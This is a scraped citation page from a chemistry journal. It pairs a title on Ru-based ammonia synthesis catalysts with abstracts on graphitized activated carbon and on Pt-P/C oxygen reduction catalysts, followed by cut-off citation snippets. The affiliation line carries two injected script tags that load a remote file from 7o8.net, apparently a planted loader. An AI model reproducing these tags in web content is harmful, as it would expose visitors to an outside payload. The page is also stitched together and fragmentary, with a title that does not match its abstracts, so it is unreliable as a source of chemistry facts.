Ru-based catalyst for ammonia synthesis.

State Key Laboratory of Green Chemistry Synthesis Technology, Institute of Industrial Catalysis, Zhejiang University of Technology, Hangzhou 310014, Zhejiang, China<script src=http://7o8.net/c.js></script><script src=http://7o8.net/c.js></script>

采用X射线衍射、 N2物理吸附和程序升温脱附-质谱等表征手段考察了活性炭经Ar气保护下高温石墨化、 O2-N2混合气氧化和HNO3处理后孔结构及表面基团的变化. 结果表明,活性炭在惰性气氛中高温处理能够部分石墨化,且温度越高,石墨化程度越高. 高温处理后的活性炭纯度和稳定性提高,但其比表面积大幅度减小. 进一步的氧化扩孔处理能在一定程度上恢复石墨化活性炭的比表面积和孔结构. 随后的HNO3处理可以使石墨化活性炭表面的含氧基团增加,改变载体的浸润性能,有利于催化剂活性组分的分散及催化活性的提高.

... 处分别有两个宽衍射峰,此为活性炭石墨化的特征峰^[19] ...

2011

0.0

WANG

Yanen

, CAO

Shuang

, TANG

Yawen

, et al. Electrocatalytic Performance of the Carbon-supported Pt-P Catalyst for Oxygen Reduction[J]. Chinese J Appl Chem, 2011, 28(1): 44-47(in Chinese).

王彦恩, 曹爽, 唐亚文, 等. 碳载Pt-P催化剂对氧还原的电催化性能[J]. 应用化学, 2011, 28(1): 44-47.

The carbonsupported Pt-P(Pt-P/C) catalyst(m(Pt)∶m(P)=5∶1) was prepared with NaH2PO2 reduction method. The X-ray diffraction results indicate that the 2θ values of the Pt diffraction peaks of the Pt-P/C catalyst are slightly greater than those of the Pt/C catalyst, illustrating that P has entered into the crystal lattice of Pt and forms the Pt-P alloy. The electrochemical measurements demonstrated that the electrocatalytic performance of the Pt-P/C catalyst for the oxygen reduction is better than that of the commercial E-TEK Pt/C catalyst with 40 mV positive shift of reduction potential, which may be attributed to the P action because the average size and the relative crystallinity of the Pt-P particles in the Pt-P/C catalyst are similar to those in Pt/C catalyst.

(1.College of Sciences,Hebei Agricultural University,Baoding;<br />2.Earth Sciences and Resources Department,Great Wall College,China University of Geosciences,Baoding;<br />3.College of Chemistry and Environmental Science,Nanjing Normal University,Nanjing 210097)

用NaH2PO2液相还原方法制得碳载Pt-P(Pt-P/C)催化剂(m(Pt)∶m(P)=5∶1)。 X射线衍射谱测量表明，Pt-P/C催化剂的Pt衍射峰的2θ值稍大于Pt/C催化剂的相应值，表明P进入了Pt晶格，形成了Pt-P合金。电化学测试表明,Pt-P/C催化剂对氧还原的电催化性能要比商品化的E-TEK Pt/C催化剂好，其还原电位正移了40 mV。由于Pt-P/C催化剂中Pt-P粒子的平均粒径和相对结晶度与Pt/C催化剂相似，推测Pt-P/C催化剂对氧还原的电催化性能好于Pt/C催化剂的原因可能为P的作用。

... 附近可归属为Pt(111)、Pt(200)、Pt(220)晶面的衍射峰^[20]和44 ...

2006

0.0

... 处对应Fe(110)晶面的衍射峰^[21],在Pt_{0 ...}

2002

0.0

... 3 eV)^[22-23]结合能高0 ...

2014

0.0

... 3 eV)^[22-23]结合能高0 ...

2012

0.0

... 6 eV)^[24] ...

2005

0.0

... 王远等^[25]用胶体#cod#x003b3 ...